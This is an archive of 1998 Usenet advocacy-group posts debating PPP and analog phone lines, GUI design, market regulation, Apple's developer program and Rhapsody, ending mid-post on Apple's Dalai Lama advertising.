References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net> <6ggmbv$1kt$5@quasar.dimensional.com> <6gg7a3$nnc$1@ns3.vrx.net> <6gm801$hom$1@quasar.dimensional.com> <maury-1204981641220001@ts14-10.tor.istar.ca>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <maury-1204981641220001@ts14-10.tor.istar.ca> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>>>> I'll put money on that. $20 says that PPP will NOT be the primary dialup
>>>> method in 2001.
>>> Done. I'll even accept CDN if you lose, and pay US if you win.
>> What's CDN?
> Canadian Dollars. I believe it's about 1.44CDN to the US right now, and
> unlikely to change by any large degree by 2001 (it's been in that range
> for over 20 years now).
Okie dokie
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 03:57:37 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gumrh$4m9$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net> <6ggmbv$1kt$5@quasar.dimensional.com> <6gg7a3$nnc$1@ns3.vrx.net> <6gm801$hom$1@quasar.dimensional.com> <us5vhsfono6.fsf@ai.mit.edu>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <us5vhsfono6.fsf@ai.mit.edu> , Stephen Peters <portnoy@ai.mit.edu> wrote:
>>>> I'll put money on that. $20 says that PPP will NOT be the primary dialup
>>>> method in 2001.
>>> Done. I'll even accept CDN if you lose, and pay US if you win.
>> What's CDN?
> Canadian dollars. Given the current exchange rate, Maury just gave
> you 7:10 odds in your favor.
Ah... ok.
>> I put a little thingie in my calandar with my email address... Email me if
>> you change it in the next three years...
> I would hope that you wouldn't need to be reminded of your own email
> address :-)
hehheheheheh...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 04:09:38 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6guni2$4m9$5@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com> <6gnml2$enm@newsb.netnews.att.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gnml2$enm@newsb.netnews.att.com> , gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>>What really sickens me is the way the phone companies are reacting now.
>>It's their fault we're stuck with this idiotic system, and they're trying to
>>pass it off as ideal! (at least where I live). In Colorado, we have USWest
>>as our primary local phone service. They run commercails advertising second
>>lines for your modem, fax machine, and voice. Now, they're even starting an
>>ISP! I really enjoy this line: "We make the Internet as easy as your
>>phone." -- OH BROTHER. The phone system was fine for Alexander Bell,
>>around 100 years ago, but it's an abombination now! How the hell is it
>>"easy" to remember arbitrary numbers that are sent at sound frequences that
>>are related to the functional equivilant of a netword address. Unstead of
>>modeling the Internet after the phone system, and installing more and more
>>idiotic "area codes," the phone system needs to be totally phased out.
> Have you any idea how much investment it would take to rip out the current
> phone system and replace it with, say, ATM ? Not to mention that the ATM
> switches that can handle all that is required aren't there yet ?
Not ATM. Just a protocal-based system. The cable we all have in our homes
is perfectly capable to support a digital low-bandwidth protocal, which is
what it should be.
> The change to the infrastructure will happen, but it will be a bit slower
> than Linux overtaking Windows NT :-)
I know. I think 15 years is a good figure. But it's not even moving
forward NOW, and I think it should have started atleast by 1980.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 04:08:05 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gunf5$4m9$4@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com> <352F12E2.8CEA7F4A@cisco.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <352F12E2.8CEA7F4A@cisco.com> , Barry Friedman <friedman@cisco.com> wrote:
>>>> Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
>>>> modulization system is a hack! 56k is an even bigger double hack! ISDN is
>>>> even a hack!
>>> PPP is fairly well written. SLIP was *explicitly* a hack; it was written
>>> as a short-term solution, and its author acknowledged that it was a hack.
>> PPP's better than slip, but they're both hacks!
> What is it about PPP that you find hackish?
It's not so much PPP, but the whole modem/phone line system.
>> The invention of the modem is a hack!
> OK, but modem is orthogonal to PPP (for the most part, obviously
> PPP's design addresses issues related to dial-up).
>> Elegance is ATM or Ethernet.
> ISDN is a hack, but ATM is elegant.
Ok, ATM is a bit of a hack too. :)
> Okee Dokee.
>> > : Actually, I'm kind of sick of the whole idea of modulization.
>>
>> > Care to expand on this?
>>
>> Modems. Modulization of digital data into an analog form (analog audio,
>> even!) and then back again is udderly insane!
> I see, you mean "modulation". I thought you were criticizing the
> modularity
> (extensibility) of PPP.
Ummmm... no... sorry.
>> If we had competition in the
>> phone system (and I mean real competition), perhaps in the 70s or at least
>> the 80s, a protocal-based infostructure would have been established.
> I believe that most of the phone system's core infrastructure is
> digital.
Which makes it even more of a hack. Digital to anolog to digital to analog,
ect...
I mean a protocal-based digital phone system from-the-wall.
> You are right in that it's too bad that it's taking so long for digital
> subscriber lines to be widely available/affordable (in North America
> anyway).
I think that it should be hard to find the antiques we use for communication
(tellephones).
I don't claim to say this should have been from the phone company in 1970
(all I really think they should have done was a protocal-based system in the
80s), but in my near perfect world, every home has an IP6 class-C(?) (not
sure what the second-from left is in IP6) address, and the networked devices
in those homes have IP addresses.
>> What really sickens me is the way the phone companies are reacting now.
>> It's their fault we're stuck with this idiotic system, and they're trying to
>> pass it off as ideal! (at least where I live). In Colorado, we have USWest
>> as our primary local phone service. They run commercails advertising second
>> lines for your modem, fax machine, and voice. Now, they're even starting an
>> ISP! I really enjoy this line: "We make the Internet as easy as your
>> phone." -- OH BROTHER. The phone system was fine for Alexander Bell,
>> around 100 years ago, but it's an abombination now! How the hell is it
>> "easy" to remember arbitrary numbers that are sent at sound frequences that
>> are related to the functional equivilant of a netword address. Unstead of
>> modeling the Internet after the phone system, and installing more and more
>> idiotic "area codes," the phone system needs to be totally phased out.
>> I just get tired of utility companies -- those who control how networks are
>> laid hacking around their own idiotic systems unstead of replacing them.
> Your ISP probably operates a fairly large IP network that connects to the
> large Internet backbones (Sprint, MCI, BBN, etc). It's just your subscriber
> line that's analog.
I know. That's what's so rediculous.
> Unfortunately, if you want to go all digital you need to get ISDN or Frame
> Relay service, or wait for xDSL to become available and affordable.
Exactly. But if in the 80s, we moved to a digital protocal-based system
(even with low-bandwidth), I would be far happier and have more respect for
the phone utility companies.
But now, even now, they aren't willing to admit it. USWest over here
installs secondary lines, advertised as a wonderfully elegant way to have
both your computer and your voice on the phone... The whole utility network
should be moving toward changing how the phone system fundamentally works,
not progressing old hacks.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 04:12:39 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gunnn$4m9$6@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gq9kh$oop$22@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>>> I think you owe me a bar of chocolate, Chuck! :-)
>>> Deal. Hopefully I'll be at WWDC....
> Ah, sadly I don't think I will be.
> Maybe MacWorld Expo NY...
>> Actually... if you guys wanna see my code, I'm starting this weekend on a
>> free accounting program... Perhaps I could forward you some
>> pre-pre-pre-alpha code in a few days...
> I'm somehow reminded of the closing minutes of Apocalypse Now...
> "The horror... the horror..."
> It's OK Ken, you said you're a C++ fan. I think I'll pass on this.
What's wrong, mmalc? Don't care to stand behind your statements about my
code, eh?
Anyway... I didn't have get to my accounting program idea. But I did get to
programming Sunday afternoon and after supper today. But without my notes
on accounting, I just programmed a simple little idea I've been toying with.
This one Python code, BTW... Not as elegant as C++, but it has its
advantages.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 04:23:27 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6guobv$4m9$7@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gm8m6$hom$3@quasar.dimensional.com> <maury-1304981504020001@ts37-06.tor.istar.ca>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <maury-1304981504020001@ts37-06.tor.istar.ca> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>>> I understand parts of Europe like West Germany have really gotten on the
>>> ball, too) is the most amazingly stable, redundant, and functional
>>> communications system ever developed.
>> Yeah, 50 years ago!
> What, do you imply they are not today? I _never_ pick up my phone and
> don't get a dial tone. I turn on the TV and not get cable once a month.
> I have problems getting IP via my ISP once a _day_.
I think you're missing my point. Sure it's reliable, but it's also an
antique. Do you ever pick up the phone and get the noise of the modem? I
used to before a second line (forgot I was even online sometimes)... That's
the sound of unelegance.
We should be using a protocal-based digital system. It doesn't have to be
fancy -- during the 70s and 80s the protocal should have been changed to
digital
>> I read about a team of scientists who told the phone
>> companies -- in the 60s -- that they needed to move to a protocal-based
>> system. Of course, they were right.
> Phone service has become far more reliable, far cheaper, far better
> quality. They offer more services, more choices and more discounts. Yet
> you talk about a "protocal-based" without defining what it is or offering
> any reason why we need it.
Offering any reason why we need it!? We need it because the existing "just
put the audio over a cable" system was obsolete 30 years ago, an antique 20
years ago, and shouldn't even exist today!!!
You're asking me why we need a digital system!? Get out of that cave you
live in, and smell the coffee. It's a little late, but at least the cable
TV, broadcast TV have realized the need to go digital. But the phone
system, even with cell-phones that are digital, requires us to convert
digital to analog and back again. And usually while it's analog, it goes
over a digital network at sometime or another (hence, why 56k's don't always
work)....
>>> Any networking equipment designed to specs like a maximum per-incident
>>> failover time of 5 seconds, with a max total failure time of 60 seconds over
>>> a decade-plus lifetime like many of the current centrex switches is
>>> impressive.
>> That's nice 50 years ago, but move on! In at least the 80s, we should have
>> moved to a protocal system, that would be finishing up now.
> How would this improve reliability?
Reliability is fine. I'll give you a comparison. I have a oil wick-burning
lamp that's reliable. But I use electric lights.
Reliability is not the only sign of good design. It's reliable, but it's
reliable crap.
>> You think converting digital to analog audio and then back again... is
>> elegant? That statement isn't so much from a programming, but from an
>> engineering prespective... Again, read my other reply to that article.
> So is the "protocal-based" system you refer to the last-mile problem?
> That still requires two A-D's, or what do you propose, plugging into a
> socket on the back of the head?
What?
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 04:26:28 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6guohk$4m9$8@quasar.dimensional.com>
References: <6gm9n1$hom$7@quasar.dimensional.com> <B1540977-84A8B@206.165.43.22>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <B1540977-84A8B@206.165.43.22> , Lawson English <english@primenet.com> wrote:
>> Anyway, I think the whole GUI needs to be revamped from scrach,
>> rethoughtout. Honestly, I don't even like the layered window idea all that
>> much, although it seems that it's not going away any time seen. Having a
>> user interface that has visual enhancements is genius. But I don't think
>> there's been enough study on what takes up user time in GUIs.
> Jef Raskin, father of the Macintosh, agrees with you. He thinks that there
> is way too much modularity in applications. An example would be the
> distinction made between a word-processsor and spreadsheet. Why can't you
> just input a tab-deliminated column of numbers, select them and start
> applying formulas, rather than use a separate tool with a seperate
> interface?
Well, that's the re-thinking of how data is handled (which could use some
re-thinking too)
I'm refering to the way windows are cascaded and layered on another, and how
data is displayed at all. The concept of having a graphical user interface
is great, but I think the implimentation of that concept needs some
re-thinking.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 Apr 1998 04:47:20 GMT
Message-ID: <6gupoo$ogs$1@news3.alpha.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk>
mmalcolm crawford (malcolm@plsys.co.uk) wrote:
: Europeans are, on average, better educated, more capable of independent
: creative thought, and can speak English better... :-)
If you will check http://nces.ed.gov/pubs/eiip/eiipid11.html, you will
find that the U.S. has a higher percentage of college graduates
than any European country. The U.S. population would be more
creative if it weren't stuck with the de facto languages - English
and Visual Basic. :-)
Ron
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 05:38:47 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j5tj7.p5a.mbkennel@lyapunov.ucsd.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6gpmsk$esn$1@usenet48.supernews.com> <yl3zphrweb9.fsf@shell8.ba.best.com> <stevehix-1204981350530001@ip25.safemail.com>
On Sun, 12 Apr 1998 13:50:52 -0700, Steve Hix <stevehix@safemail.com> wrote:
:In article <yl3zphrweb9.fsf@shell8.ba.best.com>, Robert Nicholson
:<steffi@shell8.ba.best.com> wrote:
:
:> Seriously though. Where's the mass media reporting this story? No where.
:
:San Jose Mercury News appears to be part of the mass media...
:
:At least three major local radio stations carried the story during
:the past couple of days (two ACB affiliates, one CBS), and the San
:Francisco area is considered a major radio market.
It appeared the story has was broken by the Los Angeles Times.
Interesting that it is the old 'tree-based media' and not the new whizzy
'e-media' which seems to be far more vigorously pursuing this case.
Now, the real test, is to see whether these things happen:
*) Computer industry magazines insist that all letters be uncompensated,
or all compensation or professional relation of the writer is made
explicit. This means the real company funding it, not some random
shell company.
*) Better yet, publications refuse advertising from anybody who does
not sign an agreement certifying that it will not fake or solicit
letters in any way to that publication.
*) Gates is subpoenaed once again and asked the question point blank:
"Has Microsoft ever paid for favorable letters in print publications
or on-line forums which do not appear to come from Microsoft sources?"
and *forced* to answer. He would be given the question two weeks in
advance so "well I don't know my lawyers will have to get back to you
on this."
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 05:51:17 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM>
On Mon, 13 Apr 1998 14:01:53 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
:not@my.address.net wrote:
:
:> Tell me something -- If in a certain market the per unit cost of producing
:> the first n units always exceeds the per unit cost of producing the first n
:> + 1 units, no matter how large the value of n, what's the equilibrium point
:> in that marketplace absent intervention? (Hint, How many water companies
:> would you expect to find in any given city if the municipal water supply
:> was left to an unregulated marketplace of competing private firms?) And
:> what's the benefit of an unregulated marketplace if the predictable
:> consequence is the emergence of a natural monopoly?
:
:That's sort of a long-winded way of reducing all of free-market economic
:theory to one or two dependent variables. Cute.
And that's a cute way of diverting attention from an authentic dynamical
problem.
:The truth of the matter is that technology is the great leveler. The
:market rewards companies which can provide desirable services at the
:lowest cost and with the most appealing delivery.
Technology changes the economic structure of markets. It doesn't
particularly 'level' or 'unlevel'. Just sprinkling a little "technology"
here and there doesn't create miracles. It's the same fuzzy thinking that
getting every school child an Internet account is somehow going to make all
of them learn more.
:The most recent Popular Science reports on utility deregulation, and the
:fact that consumers will soon be able to choose their mix of power
:sources (nuclear, coal, wood, solar, etc.) The worry among many
:bureaucratic types is that most consumers will opt for
:cheaper-but-more-polluting coal and nuclear power types just to get the
:best cut-rate price. Even though a large percentage of the population
:has responded in polls that it would pay a slight premium for cleaner
:power, many worry that the net effect will be for more pollution.
And this free market has been very carefully created and engineered
economists and bureaucrats and lawmakers.
A laissez faire electricity market has one company locking in every possible
supplier to large geographic regions and charging as high prices as
possible, that is, until increasing the price further results in
sufficiently less consumption to offset the higher prices. And this company
would make obscene profits, its CEO an enormous bonus and multi-gazillion
dollar house and airstrip (cut from an old-growth redwood forest), and would
be heralded for "strategic genius" by the fawning Wall Street Journal
editorial page, even though thousands of bright 11 year olds who've played
Monopoly(tm) could have figured out the same obvious strategy. And the
company would take out disingenuous advertisments explaining how they are
not monopolistic because there is a demand curve.
:The response in the article is that "the market will reward companies
:that manage to provide clean power at the cheapest prices".
The market will probably reward those companies who "slam" enough widows's
and orphans's utility bills to their accounts.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 05:56:24 GMT
Organization: @Home Network
Message-ID: <6gutq8$79t$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr>
<6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104>
<6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: ericb@pobox.com
In <ericb-1304982136060001@132.236.171.104> Eric Bennett wrote:
> In article <6gjcv7$nrb@mozo.cc.purdue.edu>, slick@tools.ecn.purdue.edu
> (Brian S Slick) wrote:
>
> > In article <ericb-0904981649370001@132.236.171.104>,
> > Eric Bennett <ericb@pobox.com> wrote:
> > >The new cost is two weeks' pay (after withholding :-) out of my stipend.
:-(
> >
> >
> > Consider it an investment.
>
> It's a hobby. Apple just made my hobby more expensive. If I'm *lucky*,
> it will shortly be related to my research project, and then perhaps
> somebody else will pick up the tab for me.
>
>
Consider it an expensive investment. ;-)
Rhapsody ain't your average Mac hobby! As Dorothy said "We're not in Kansas
anymore, Toto!" Hobbyists jumping onto Rhapsody's Yellow Box Path will be
first to fall victim. Let me be very short and to the point.
ITS AN INVESTMENT. It has risks. It has rewards. It isn't going to be easy.
It won't be free. Do-the-math "before". No reward? It"s a bad investment.
Investments need management. Figure out where the investment can make you the
most return. Monitor the investment. Too expensive? Maybe it's not the
right investment for you.
<inside joke>
The Wizard of Oz was an editorial about Gov't moving off the Gold Standard.
As Apple moves off the Mac Standard, maybe Garret Rice is over at Disney
making the "NeXT Wizard of OZ":-)
</inside joke>
-r
Rex Riley
-r
Rex Riley
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Tue, 14 Apr 1998 01:03:52 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35330A58.2BFC5C6E@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Matt Kennel wrote:
>
> On Mon, 13 Apr 1998 14:01:53 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
> :That's sort of a long-winded way of reducing all of free-market economic
> :theory to one or two dependent variables. Cute.
>
> And that's a cute way of diverting attention from an authentic dynamical
> problem.
>
> :The truth of the matter is that technology is the great leveler. The
> :market rewards companies which can provide desirable services at the
> :lowest cost and with the most appealing delivery.
>
> Technology changes the economic structure of markets. It doesn't
> particularly 'level' or 'unlevel'. Just sprinkling a little "technology"
> here and there doesn't create miracles. It's the same fuzzy thinking that
> getting every school child an Internet account is somehow going to make all
> of them learn more.
Funny, I don't see the connection, since I am adamantly opposed to
allocating federal funds to "wiring" schools while overpaid,
underqualified educators continue to abuse the education system through
the NEA union.
The "levelling" to which I alluded is in direct reference to the fact
that *all* companies are required to be competitive in the face of a
high rate of technology turnover. Technology, in general, is a fertile
and diverse field over which no company can hold exclusive control;
therefore, all companies have equal access to the opportunities provided
by the dynamic nature of technology.
I don't know how you managed to misunderstand that, especially since I
never mentioned a "sprinkling" of technology.
[cut]
> And this free market has been very carefully created and engineered
> economists and bureaucrats and lawmakers.
Er, no. The net effects of economists, bureaucrats, and lawmakers are
regulation, restriction, and favoritism. I don't need to stretch very
far to come up with compelling examples: the abuse of the Interstate
Commerce clause, the Federal Tax Code, the EPA.
I'm curious: in what way did these people "create" a system which, by
nature, already exists? Maybe you mean the Framers, and that they
created the Constitution which explicitly forbids government meddling in
the already-existing free-market? Maybe not. I dunno.
> A laissez faire electricity market has one company locking in every possible
> supplier to large geographic regions and charging as high prices as
> possible, that is, until increasing the price further results in
> sufficiently less consumption to offset the higher prices.
Hmmm, odd. The part about one company makes zero sense in the context of
a free-market; perhaps you mean "regulated market"? Typo?
The part about charging higher prices until increasing the price results
in sufficiently fewer customers to offset higher prices is true. It's
sort of self-evident in a free market, I would think.
> And this company
> would make obscene profits, its CEO an enormous bonus and multi-gazillion
> dollar house and airstrip (cut from an old-growth redwood forest), and would
> be heralded for "strategic genius" by the fawning Wall Street Journal
> editorial page, even though thousands of bright 11 year olds who've played
> Monopoly(tm) could have figured out the same obvious strategy. And the
> company would take out disingenuous advertisments explaining how they are
> not monopolistic because there is a demand curve.
Ah, the reference to Microsoft. I suppose a single company over a
ten-year period is sufficient basis for sound economic theory.
> :The response in the article is that "the market will reward companies
> :that manage to provide clean power at the cheapest prices".
>
> The market will probably reward those companies who "slam" enough widows's
> and orphans's utility bills to their accounts.
Wow, this reads like a parody rather than a real argument.
MJP
From: terry <dont@spam.me>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 13 Apr 1998 23:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <35330720.2781E494@spam.me>
References: <3530F643.DEADA2A5@trilithon.com> <B15670BD-27C36@206.165.43.142>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
> 2) The *government* of the countries that use languages that
> have these kinds of issues (it's more than just Hangul and
> Sanskrit) are going to endorse standards that support them,
> even if the average peasant can't afford it. Whatever the
> government endorses will eventually trickle down into the
> economy.
This is actually provably false, by example.
Specifically, the KOI-8 standard character set for Cyrillic
and the KOI-8-U character set for Ukranian are both "grass
roots" standards, in contravention of the Russian national
standards bodies ratified ISO 8859-X standard Cyrillic.
This is a case in point where the government endorsement
didn't affect the eventual outcome (KOI-8 is the most widely
deployed character set standard in the former Soviet Union).
Terry Lambert
---
Any opinions in this posting are my own and not those of my present
or previous employers.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Apple Dumps Dalai Lama
Date: 14 Apr 1998 07:11:21 GMT
Organization: @Home Network
Message-ID: <6gv26p$ago$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: newsfeedback@wired.com
see:: http://www.wired.com/news/news/buisness/story/11623.html
If Apple thought the Dalai Lama wouldn't play well in his homeland, I wonder
how they thought it would play at home when they dumped him? In all fairness
to Apple marketing, how were they to know?
They know... and they got it right. The Dalai Lama is NOT Apple.
The Dalai Lama is US (in America). The Dalai Lama, repression, exile,
struggle, et. al. IS our struggle, exile and repression. That's why
American's "connect" with the Apple advertisement. At least that is why some
